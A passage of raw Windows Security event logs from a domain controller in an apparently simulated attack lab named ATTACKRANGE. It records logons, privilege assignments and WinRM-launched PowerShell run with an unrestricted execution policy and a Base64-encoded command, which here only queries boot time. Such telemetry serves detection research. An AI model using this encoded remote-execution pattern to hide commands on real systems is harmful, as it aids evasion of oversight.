validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248014 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F6EEB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248013 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F6EEB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248012 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=248011 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248045 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FD235 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248044 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FD235 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248043 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=248042 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248041 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FCB55 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf30 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfb4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248040 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FCB55 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x520 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248039 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FCEC3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248038 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FCEC3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248037 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=248036 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248035 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FCB55 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaec - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x520 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248034 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FCB55 - -Process Information: - New Process ID: 0x520 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248033 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FCB55 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248032 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FCB55 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248031 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=248030 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=248029 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FC6E4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=248028 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4F19 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248027 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FC6E4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248026 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FC6E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248025 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=248024 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=248023 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FC5FC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248022 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FC5FC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248021 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FC5FC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon 